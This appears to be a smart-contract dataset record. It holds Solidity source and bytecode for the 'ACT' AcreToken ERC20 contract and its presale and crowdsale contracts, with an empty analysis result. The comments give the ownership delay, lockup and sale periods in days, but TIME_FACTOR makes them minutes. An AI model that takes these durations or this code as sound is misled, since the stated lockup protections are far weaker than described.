45580518681529051928716939192600080516020611166833981519152929181900390910190a35060019392505050565b601281565b6003546000908190600160a060020a031633146109a957600080fd5b60035460a060020a900460ff16156109c057600080fd5b600454600154106109d057600080fd5b6004546001546109e6908563ffffffff610fa716565b10610a0757600154600454610a009163ffffffff610fb416565b9050610a0a565b50815b610a148482610fc6565b949350505050565b60045481565b60075481565b6000600454610a4283600154610fa790919063ffffffff16565b1115610a4d57600080fd5b610a578383610fc6565b9392505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610ab357336000908152600260209081526040808320600160a060020a0388168452909152812055610ae8565b610ac3818463ffffffff610fb416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b670de0b6b3a764000081565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a03163314610b8c57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a03163314610bfd57600080fd5b60035460a060020a900460ff1615610c1457600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105f35780601f106105c8576101008083540402835291602001916105f3565b6000806000610cea8551856110be90919063ffffffff16565b33600090815260208190526040902054909250821115610d0957600080fd5b5060005b84518110156108185733600090815260208190526040902054610d36908563ffffffff610fb416565b336000908152602081905260408120919091558551610d5f918691819089908690811061074657fe5b6000808784815181101515610d7057fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610da157fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611166833981519152866040518082815260200191505060405180910390a3600101610d0d565b6000600160a060020a0383161515610e0257600080fd5b33600090815260208190526040902054821115610e1e57600080fd5b33600090815260208190526040902054610e3e908363ffffffff610fb416565b3360009081526020819052604080822092909255600160a060020a03851681522054610e70908363ffffffff610fa716565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206111668339815191529281900390910190a350600192915050565b60085481565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ef4908363ffffffff610fa716565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610f9b57600080fd5b610fa4816110e7565b50565b8181018281101561065c57fe5b600082821115610fc057fe5b50900390565b600354600090600160a060020a03163314610fe057600080fd5b60035460a060020a900460ff1615610ff757600080fd5b60015461100a908363ffffffff610fa716565b600155600160a060020a038316600090815260208190526040902054611036908363ffffffff610fa716565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206111668339815191529181900360200190a350600192915050565b60008215156110cf5750600061065c565b508181028183828115156110df57fe5b041461065c57fe5b600160a060020a03811615156110fc57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208fc5d4256319034a5ee84ba6ea8689968e4d38cb20d382f92a28e9ca26edd6a60029
|
{"success": true, "error": null, "results": {}}
| 2,618 |
0xf31c69c71fc39a936245f8921f81b08d2210591d
|
pragma solidity 0.4.20;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
assert(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
assert(b > 0);
c = a / b;
assert(a == b * c + a % b);
}
}
contract AcreConfig {
using SafeMath for uint;
uint internal constant TIME_FACTOR = 1 minutes;
// Ownable
uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days
// MultiOwnable
uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master
// Lockable
uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days
// AcreToken
string internal constant TOKEN_NAME = "ACT";
string internal constant TOKEN_SYMBOL = "ACT";
uint8 internal constant TOKEN_DECIMALS = 18;
uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant CAPITAL_SUPPLY = 4*1e7 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant PRE_PAYMENT_SUPPLY = 995*1e4 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply
// Sale
uint internal constant MIN_ETHER = 1*1e14; // 0.0001 ether
uint internal constant EXCHANGE_RATE = 1000000; // 1 eth = 1000000 ACT
uint internal constant PRESALE_DURATION_TIME = 15; // 15 days
uint internal constant CROWDSALE_DURATION_TIME = 21; // 21 days
// helper
function getDays(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 days);
}
function getHours(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 hours);
}
function getMinutes(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 minutes);
}
}
contract Ownable is AcreConfig {
address public owner;
address public reservedOwner;
uint public ownershipDeadline;
event logReserveOwnership(address indexed oldOwner, address indexed newOwner);
event logConfirmOwnership(address indexed oldOwner, address indexed newOwner);
event logCancelOwnership(address indexed oldOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function reserveOwnership(address newOwner) onlyOwner public returns (bool success) {
require(newOwner != address(0));
logReserveOwnership(owner, newOwner);
reservedOwner = newOwner;
ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR));
return true;
}
function confirmOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
require(now > ownershipDeadline);
logConfirmOwnership(owner, reservedOwner);
owner = reservedOwner;
reservedOwner = address(0);
return true;
}
function cancelOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
logCancelOwnership(owner, reservedOwner);
reservedOwner = address(0);
return true;
}
}
contract MultiOwnable is Ownable {
address[] public owners;
event logGrantOwners(address indexed owner);
event logRevokeOwners(address indexed owner);
modifier onlyMutiOwners {
require(isExistedOwner(msg.sender));
_;
}
modifier onlyManagers {
require(isManageable(msg.sender));
_;
}
function MultiOwnable() public {
owners.length = MULTI_OWNER_COUNT;
}
function grantOwners(address _owner) onlyOwner public returns (bool success) {
require(!isExistedOwner(_owner));
require(isEmptyOwner());
owners[getEmptyIndex()] = _owner;
logGrantOwners(_owner);
return true;
}
function revokeOwners(address _owner) onlyOwner public returns (bool success) {
require(isExistedOwner(_owner));
owners[getOwnerIndex(_owner)] = address(0);
logRevokeOwners(_owner);
return true;
}
// helper
function isManageable(address _owner) internal constant returns (bool) {
return isExistedOwner(_owner) || owner == _owner;
}
function isExistedOwner(address _owner) internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return true;
}
}
}
function getOwnerIndex(address _owner) internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return i;
}
}
}
function isEmptyOwner() internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return true;
}
}
}
function getEmptyIndex() internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return i;
}
}
}
}
contract Pausable is MultiOwnable {
bool public paused = false;
event logPause();
event logUnpause();
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier whenConditionalPassing() {
if(!isManageable(msg.sender)) {
require(!paused);
}
_;
}
function pause() onlyManagers whenNotPaused public returns (bool success) {
paused = true;
logPause();
return true;
}
function unpause() onlyManagers whenPaused public returns (bool success) {
paused = false;
logUnpause();
return true;
}
}
contract Lockable is Pausable {
mapping (address => uint) public locked;
event logLockup(address indexed target, uint startTime, uint deadline);
function lockup(address _target) onlyOwner public returns (bool success) {
require(!isManageable(_target));
locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR));
logLockup(_target, now, locked[_target]);
return true;
}
// helper
function isLockup(address _target) internal constant returns (bool) {
if(now <= locked[_target])
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external;
}
contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event logERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply);
event logTransfer(address indexed from, address indexed to, uint value);
event logTransferFrom(address indexed from, address indexed to, address indexed spender, uint value);
event logApproval(address indexed owner, address indexed spender, uint value);
function TokenERC20(
string _tokenName,
string _tokenSymbol,
uint8 _tokenDecimals,
uint _initialSupply
) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _tokenDecimals;
totalSupply = _initialSupply;
balanceOf[msg.sender] = totalSupply;
logERC20Token(msg.sender, name, symbol, decimals, totalSupply);
}
function _transfer(address _from, address _to, uint _value) internal returns (bool success) {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]);
uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
logTransfer(_from, _to, _value);
assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
logTransferFrom(_from, _to, msg.sender, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
logApproval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract AcreToken is Lockable, TokenERC20 {
string public version = '1.0';
address public companyCapital;
address public prePayment;
uint public totalMineSupply;
mapping (address => bool) public frozenAccount;
event logFrozenAccount(address indexed target, bool frozen);
event logBurn(address indexed owner, uint value);
event logMining(address indexed recipient, uint value);
event logWithdrawContractToken(address indexed owner, uint value);
function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public {
require(_companyCapital != address(0));
require(_prePayment != address(0));
companyCapital = _companyCapital;
prePayment = _prePayment;
transfer(companyCapital, CAPITAL_SUPPLY);
transfer(prePayment, PRE_PAYMENT_SUPPLY);
lockup(prePayment);
pause();
}
function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) {
require(!frozenAccount[_from]); // freeze
require(!frozenAccount[_to]);
require(!isLockup(_from)); // lockup
require(!isLockup(_to));
return super._transfer(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(!frozenAccount[msg.sender]); // freeze
require(!isLockup(msg.sender)); // lockup
return super.transferFrom(_from, _to, _value);
}
function freezeAccount(address _target) onlyManagers public returns (bool success) {
require(!isManageable(_target));
require(!frozenAccount[_target]);
frozenAccount[_target] = true;
logFrozenAccount(_target, true);
return true;
}
function unfreezeAccount(address _target) onlyManagers public returns (bool success) {
require(frozenAccount[_target]);
frozenAccount[_target] = false;
logFrozenAccount(_target, false);
return true;
}
function burn(uint _value) onlyManagers public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
logBurn(msg.sender, _value);
return true;
}
function mining(address _recipient, uint _value) onlyManagers public returns (bool success) {
require(_recipient != address(0));
require(!frozenAccount[_recipient]); // freeze
require(!isLockup(_recipient)); // lockup
require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY);
balanceOf[_recipient] = balanceOf[_recipient].add(_value);
totalSupply = totalSupply.add(_value);
totalMineSupply = totalMineSupply.add(_value);
logMining(_recipient, _value);
return true;
}
function withdrawContractToken(uint _value) onlyManagers public returns (bool success) {
_transfer(this, msg.sender, _value);
logWithdrawContractToken(msg.sender, _value);
return true;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = balanceOf[this];
}
function getRemainingMineSupply() public constant returns(uint supply) {
supply = MAX_MINING_SUPPLY - totalMineSupply;
}
function () public { revert(); }
}
contract AcreSale is MultiOwnable {
uint public saleDeadline;
uint public startSaleTime;
uint public softCapToken;
uint public hardCapToken;
uint public soldToken;
uint public receivedEther;
address public sendEther;
AcreToken public tokenReward;
bool public fundingGoalReached = false;
bool public saleOpened = false;
Payment public kyc;
Payment public refund;
Payment public withdrawal;
mapping(uint=>address) public indexedFunders;
mapping(address => Order) public orders;
uint public funderCount;
event logStartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline);
event logReservedToken(address indexed funder, uint amount, uint token, uint bonusRate);
event logWithdrawFunder(address indexed funder, uint value);
event logWithdrawContractToken(address indexed owner, uint value);
event logCheckGoalReached(uint raisedAmount, uint raisedToken, bool reached);
event logCheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState);
enum eOrderstate { NONE, KYC, REFUND }
struct Order {
eOrderstate state;
uint paymentEther;
uint reservedToken;
bool withdrawn;
}
struct Payment {
uint token;
uint eth;
uint count;
}
modifier afterSaleDeadline {
require(now > saleDeadline);
_;
}
function AcreSale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) public {
require(_sendEther != address(0));
require(_addressOfTokenUsedAsReward != address(0));
require(_softCapToken > 0 && _softCapToken <= _hardCapToken);
sendEther = _sendEther;
softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS);
hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS);
tokenReward = AcreToken(_addressOfTokenUsedAsReward);
}
function startSale(uint _durationTime) onlyManagers internal {
require(softCapToken > 0 && softCapToken <= hardCapToken);
require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this));
require(_durationTime > 0);
require(startSaleTime == 0);
startSaleTime = now;
saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR));
saleOpened = true;
logStartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline);
}
// get
function getRemainingSellingTime() public constant returns(uint remainingTime) {
if(now <= saleDeadline) {
remainingTime = getMinutes(SafeMath.sub(saleDeadline, now));
}
}
function getRemainingSellingToken() public constant returns(uint remainingToken) {
remainingToken = SafeMath.sub(hardCapToken, soldToken);
}
function getSoftcapReached() public constant returns(bool reachedSoftcap) {
reachedSoftcap = soldToken >= softCapToken;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = tokenReward.balanceOf(this);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate);
// check
function checkGoalReached() onlyManagers afterSaleDeadline public {
if(saleOpened) {
if(getSoftcapReached()) {
fundingGoalReached = true;
}
saleOpened = false;
logCheckGoalReached(receivedEther, soldToken, fundingGoalReached);
}
}
function checkKYC(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.KYC);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
// old, decrease
if(oldState == eOrderstate.REFUND) {
refund.token = refund.token.sub(orders[_funder].reservedToken);
refund.eth = refund.eth.sub(orders[_funder].paymentEther);
refund.count = refund.count.sub(1);
}
// state
orders[_funder].state = eOrderstate.KYC;
kyc.token = kyc.token.add(orders[_funder].reservedToken);
kyc.eth = kyc.eth.add(orders[_funder].paymentEther);
kyc.count = kyc.count.add(1);
logCheckOrderstate(_funder, oldState, eOrderstate.KYC);
}
function checkRefund(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.REFUND);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
// old, decrease
if(oldState == eOrderstate.KYC) {
kyc.token = kyc.token.sub(orders[_funder].reservedToken);
kyc.eth = kyc.eth.sub(orders[_funder].paymentEther);
kyc.count = kyc.count.sub(1);
}
// state
orders[_funder].state = eOrderstate.REFUND;
refund.token = refund.token.add(orders[_funder].reservedToken);
refund.eth = refund.eth.add(orders[_funder].paymentEther);
refund.count = refund.count.add(1);
logCheckOrderstate(_funder, oldState, eOrderstate.REFUND);
}
// withdraw
function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(fundingGoalReached);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state == eOrderstate.KYC);
require(!orders[_funder].withdrawn);
// token
tokenReward.transfer(_funder, orders[_funder].reservedToken);
withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken);
withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther);
withdrawal.count = withdrawal.count.add(1);
orders[_funder].withdrawn = true;
logWithdrawFunder(_funder, orders[_funder].reservedToken);
}
function withdrawContractToken(uint _value) onlyManagers public {
tokenReward.transfer(msg.sender, _value);
logWithdrawContractToken(msg.sender, _value);
}
// payable
function () payable public {
require(saleOpened);
require(now <= saleDeadline);
require(MIN_ETHER <= msg.value);
uint amount = msg.value;
uint curBonusRate = getCurrentBonusRate();
uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE);
require(token > 0);
require(SafeMath.add(soldToken, token) <= hardCapToken);
sendEther.transfer(amount);
// funder info
if(orders[msg.sender].paymentEther == 0) {
indexedFunders[funderCount] = msg.sender;
funderCount = funderCount.add(1);
orders[msg.sender].state = eOrderstate.NONE;
}
orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount);
orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token);
receivedEther = receivedEther.add(amount);
soldToken = soldToken.add(token);
logReservedToken(msg.sender, amount, token, curBonusRate);
}
}
contract AcrePresale is AcreSale {
function AcrePresale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startPresale() onlyManagers public {
startSale(PRESALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days
else { bonusRate = 0; } //
}
}
contract AcreCrowdsale is AcreSale {
function AcreCrowdsale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startCrowdsale() onlyManagers public {
startSale(CROWDSALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(14, TIME_FACTOR))) { bonusRate = 15; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(21, TIME_FACTOR))) { bonusRate = 10; } // 7days
else { bonusRate = 0; } //
}
}
|
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101d257806306fdde0314610235578063095ea7b3146102c35780630df19d351461031d57806317c201a11461036e57806318160ddd146103975780631c58c3ff146103c057806323b872dd146103e957806325ba082414610462578063313ce567146104b357806335e04fab146104e25780633f4ba83a1461053757806342966c68146105645780634e2808da1461059f57806354fd4d50146105cc5780635c975abb1461065a57806370a08231146106875780637493357b146106d4578063788649ea146107295780638456cb591461077a5780638bec5b31146107a75780638da5cb5b146107f857806395d89b411461084d5780639b7e5531146108db5780639ef7e72314610904578063a9059cbb1461093f578063afd7b21e14610999578063b414d4b6146109ee578063bf48780114610a3f578063bf88fc0914610a68578063c4dcad1d14610ab9578063cae9ca5114610b13578063cbf9fe5f14610bb0578063d5d1e77014610bfd578063dd62ed3e14610c2a578063f26c159f14610c96575b34156101cd57600080fd5b600080fd5b34156101dd57600080fd5b6101f36004808035906020019091905050610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024057600080fd5b610248610d26565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ce57600080fd5b610303600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dc4565b604051808215151515815260200191505060405180910390f35b341561032857600080fd5b610354600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb6565b604051808215151515815260200191505060405180910390f35b341561037957600080fd5b61038161101f565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa611038565b6040518082815260200191505060405180910390f35b34156103cb57600080fd5b6103d361103e565b6040518082815260200191505060405180910390f35b34156103f457600080fd5b610448600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611044565b604051808215151515815260200191505060405180910390f35b341561046d57600080fd5b610499600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c8565b604051808215151515815260200191505060405180910390f35b34156104be57600080fd5b6104c66111f9565b604051808260ff1660ff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f561120c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054257600080fd5b61054a611232565b604051808215151515815260200191505060405180910390f35b341561056f57600080fd5b61058560048080359060200190919050506112b1565b604051808215151515815260200191505060405180910390f35b34156105aa57600080fd5b6105b261141c565b604051808215151515815260200191505060405180910390f35b34156105d757600080fd5b6105df6115bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561061f578082015181840152602081019050610604565b50505050905090810190601f16801561064c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561066557600080fd5b61066d61165b565b604051808215151515815260200191505060405180910390f35b341561069257600080fd5b6106be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061166e565b6040518082815260200191505060405180910390f35b34156106df57600080fd5b6106e7611686565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073457600080fd5b610760600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116ac565b604051808215151515815260200191505060405180910390f35b341561078557600080fd5b61078d6117ce565b604051808215151515815260200191505060405180910390f35b34156107b257600080fd5b6107de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061184e565b604051808215151515815260200191505060405180910390f35b341561080357600080fd5b61080b6119c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085857600080fd5b6108606119ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a0578082015181840152602081019050610885565b50505050905090810190601f1680156108cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108e657600080fd5b6108ee611a8a565b6040518082815260200191505060405180910390f35b341561090f57600080fd5b6109256004808035906020019091905050611a90565b604051808215151515815260200191505060405180910390f35b341561094a57600080fd5b61097f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b09565b604051808215151515815260200191505060405180910390f35b34156109a457600080fd5b6109ac611b1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109f957600080fd5b610a25600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b44565b604051808215151515815260200191505060405180910390f35b3415610a4a57600080fd5b610a52611b64565b6040518082815260200191505060405180910390f35b3415610a7357600080fd5b610a9f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bab565b604051808215151515815260200191505060405180910390f35b3415610ac457600080fd5b610af9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611cca565b604051808215151515815260200191505060405180910390f35b3415610b1e57600080fd5b610b96600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ed4565b604051808215151515815260200191505060405180910390f35b3415610bbb57600080fd5b610be7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612052565b6040518082815260200191505060405180910390f35b3415610c0857600080fd5b610c1061206a565b604051808215151515815260200191505060405180910390f35b3415610c3557600080fd5b610c80600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061227d565b6040518082815260200191505060405180910390f35b3415610ca157600080fd5b610ccd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a2565b604051808215151515815260200191505060405180910390f35b600381815481101515610cf657fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dbc5780601f10610d9157610100808354040283529160200191610dbc565b820191906000526020600020905b815481529060010190602001808311610d9f57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffb438b8b5a209d35ae02fd61cdc8236691b158fa6c3bb027871eeb4005aff6a9846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1357600080fd5b610f1c826123da565b151515610f2857600080fd5b610f3e42610f3961016d603c612443565b612471565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f13c84e7e5c5e41a653ee83abf1cc0a1607c9d20ecb554832382e61cdf9215a9a42600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a260019050919050565b6000600f54601260ff16600a0a6317d784000203905090565b60095481565b600f5481565b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561109f57600080fd5b6110a83361248a565b1515156110b457600080fd5b6110bf8484846124e3565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112557600080fd5b61112e82612712565b15151561113a57600080fd5b6111426127b5565b151561114d57600080fd5b816003611158612857565b81548110151561116457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f8f9fbfe40c1b19a4188c3e47cac005cd75f0e74bd7e5101b29fc2bf256a17e7960405160405180910390a260019050919050565b600860009054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123d336123da565b151561124857600080fd5b600460009054906101000a900460ff16151561126357600080fd5b6000600460006101000a81548160ff0219169083151502179055507fccf01e1204d52ef32add3e8d30633b65c300834f20e6b94ae8982cd717a832dc60405160405180910390a16001905090565b60006112bc336123da565b15156112c757600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561131557600080fd5b61136782600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bf826009546128fb90919063ffffffff16565b6009819055503373ffffffffffffffffffffffffffffffffffffffff167f9641ae568641b2d48e9c41e1d64a8ca10ca56cdfc247a5a2f